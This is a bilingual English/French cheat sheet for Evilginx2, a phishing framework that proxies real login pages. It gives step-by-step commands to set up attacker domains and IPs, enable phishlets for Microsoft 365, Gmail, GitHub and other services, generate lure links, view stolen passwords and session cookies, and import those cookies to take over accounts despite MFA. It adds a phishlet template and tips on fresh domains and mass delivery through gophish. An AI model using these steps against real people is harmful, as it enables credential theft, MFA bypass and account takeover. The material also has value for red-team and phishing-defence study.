Evilginx2
Framework de phishing adversary-in-the-middle. Fait office de proxy pour de vrais sites web afin de capturer les identifiants ET les cookies de session, contournant le MFA/2FA sur n'importe quel site. Adversary-in-the-middle phishing framework. Proxies real websites to capture credentials AND session cookies, bypassing MFA/2FA on any website.
↗ https://github.com/kgretzky/evilginx2Overview
Evilginx2 is an MITM framework for phishing that proxies the real target website through an attacker-controlled server. Victims interact with the real site, but Evilginx captures credentials AND authenticated session cookies — effectively bypassing TOTP, SMS, and push-based MFA.
Infrastructure Setup
Requirements:
- A VPS with a public IP
- A domain name (e.g., attacker-domain.com)
- DNS: point *.attacker-domain.com → VPS IP
- Port 443 and 80 open
# Install
git clone https://github.com/kgretzky/evilginx2
cd evilginx2
make
Or download binary release
./evilginx2
Configuration
# Set your phishing domain and external IP
: config domain attacker-domain.com
: config ip ATTACKER_IP
Set external IPv4 (used in auto-DNS)
: config unauth_url https://attacker-domain.com
Verify config
: config
Working with Phishlets
List available phishlets (built-in ones for major services)
: phishlets
# Enable a phishlet (this auto-configures SSL via Let's Encrypt)
: phishlets hostname o365 login.attacker-domain.com
: phishlets enable o365
List enabled phishlets
: phishlets
Disable
: phishlets disable o365
Creating Lures (Phishing Links)
Create a lure for a phishlet
: lures create o365
Get the phishing URL
: lures get-url 0
Customize redirect URL (where victim goes after capture)
: lures edit 0 redirect_url https://legitimate-site.com
Set custom path
: lures edit 0 path /login
List all lures
: lures
Viewing Captured Sessions
List captured sessions
: sessions
View specific session (shows credentials + cookies)
: sessions 1
# Sessions include:
# - Username / Email
# - Password
# - Session cookies (JSON format for cookie import)
Importing Captured Cookies
# After capturing cookies:
# 1. Copy the session token JSON from : sessions N
# 2. Use browser extension (e.g., EditThisCookie) to import
# 3. Navigate to the target site — you're logged in (MFA bypassed)
# Alternative: use Python/requests with the cookie to automate
Built-in Phishlets
Common phishlets available in evilginx2:
o365— Microsoft 365 / Outlookgmail— Google / Gmaillinkedin— LinkedInfacebook— Facebooktwitter— Twitter/Xgithub— GitHub
Custom phishlets can be written in YAML.
Phishlet File Structure (Custom)
name: 'example'
proxy_hosts:
- phish_sub: 'login'
orig_sub: 'login'
domain: 'example.com'
session: true
is_landing: true
auth_tokens:
- domain: '.example.com'
keys: ['session_token']
credentials:
username:
key: 'username'
search: 'username=([^&]*)'
type: 'post'
password:
key: 'password'
search: 'password=([^&]*)'
type: 'post'
Tips
- Evilginx2 works regardless of MFA type — it captures the post-MFA session cookie
- Domain must have wildcard DNS configured before starting
- Use privacy-focused domain registrars and fresh domains for better deliverability
- Combine with gophish for large-scale email delivery of the lure URL
Key commands reference
: config domain <domain> Set phishing domain
: config ip <ip> Set external IP
: phishlets List phishlets
: phishlets hostname <name> <hostname> Set phishlet hostname
: phishlets enable <name> Enable phishlet (generates SSL cert)
: phishlets disable <name> Disable phishlet
: lures create <phishlet> Create a lure
: lures get-url <id> Get phishing URL
: lures edit <id> <key> <val> Edit lure setting
: lures List lures
: sessions List captured sessions
: sessions <id> View session details
: sessions delete <id> Delete session
: help Show help
Vue d’ensemble
Evilginx2 est un framework MITM pour le phishing qui fait transiter le vrai site web cible via un serveur contrôlé par l’attaquant. Les victimes interagissent avec le vrai site, mais Evilginx capture les identifiants ET les cookies de session authentifiés, contournant ainsi efficacement le MFA basé sur TOTP, SMS, ou push.
Mise en place de l’infrastructure
Prérequis :
- Un VPS avec une IP publique
- Un nom de domaine (par exemple, attacker-domain.com)
- DNS : faire pointer *.attacker-domain.com → IP du VPS
- Ports 443 et 80 ouverts
# Installer
git clone https://github.com/kgretzky/evilginx2
cd evilginx2
make
Ou télécharger le binaire de la release
./evilginx2
Configuration
# Définir votre domaine de phishing et votre IP externe
: config domain attacker-domain.com
: config ip ATTACKER_IP
Définir l’IPv4 externe (utilisée dans le DNS automatique)
: config unauth_url https://attacker-domain.com
Vérifier la configuration
: config
Travailler avec les phishlets
Lister les phishlets disponibles (intégrés pour les principaux services)
: phishlets
# Activer un phishlet (configure automatiquement le SSL via Let's Encrypt)
: phishlets hostname o365 login.attacker-domain.com
: phishlets enable o365
Lister les phishlets activés
: phishlets
Désactiver
: phishlets disable o365
Créer des leurres (liens de phishing)
Créer un leurre pour un phishlet
: lures create o365
Obtenir l’URL de phishing
: lures get-url 0
Personnaliser l’URL de redirection (où va la victime après la capture)
: lures edit 0 redirect_url https://legitimate-site.com
Définir un chemin personnalisé
: lures edit 0 path /login
Lister tous les leurres
: lures
Consulter les sessions capturées
Lister les sessions capturées
: sessions
Voir une session spécifique (affiche identifiants + cookies)
: sessions 1
# Les sessions incluent :
# - Nom d'utilisateur / e-mail
# - Mot de passe
# - Cookies de session (format JSON pour l'import de cookies)
Importer les cookies capturés
# Après avoir capturé des cookies :
# 1. Copier le JSON du token de session depuis : sessions N
# 2. Utiliser une extension de navigateur (par exemple EditThisCookie) pour l'importer
# 3. Naviguer vers le site cible : vous êtes connecté (MFA contourné)
# Alternative : utiliser Python/requests avec le cookie pour automatiser
Phishlets intégrés
Phishlets courants disponibles dans evilginx2 :
o365: Microsoft 365 / Outlookgmail: Google / Gmaillinkedin: LinkedInfacebook: Facebooktwitter: Twitter/Xgithub: GitHub
Des phishlets personnalisés peuvent être écrits en YAML.
Structure de fichier phishlet (personnalisé)
name: 'example'
proxy_hosts:
- phish_sub: 'login'
orig_sub: 'login'
domain: 'example.com'
session: true
is_landing: true
auth_tokens:
- domain: '.example.com'
keys: ['session_token']
credentials:
username:
key: 'username'
search: 'username=([^&]*)'
type: 'post'
password:
key: 'password'
search: 'password=([^&]*)'
type: 'post'
Conseils
- Evilginx2 fonctionne quel que soit le type de MFA : il capture le cookie de session post-MFA
- Le domaine doit avoir un DNS wildcard configuré avant le démarrage
- Utilisez des registrars de domaine axés sur la confidentialité et des domaines récents pour une meilleure délivrabilité
- Combinez avec gophish pour l’envoi d’e-mails à grande échelle contenant l’URL du leurre
Référence des commandes clés
: config domain <domain> Set phishing domain
: config ip <ip> Set external IP
: phishlets List phishlets
: phishlets hostname <name> <hostname> Set phishlet hostname
: phishlets enable <name> Enable phishlet (generates SSL cert)
: phishlets disable <name> Disable phishlet
: lures create <phishlet> Create a lure
: lures get-url <id> Get phishing URL
: lures edit <id> <key> <val> Edit lure setting
: lures List lures
: sessions List captured sessions
: sessions <id> View session details
: sessions delete <id> Delete session
: help Show help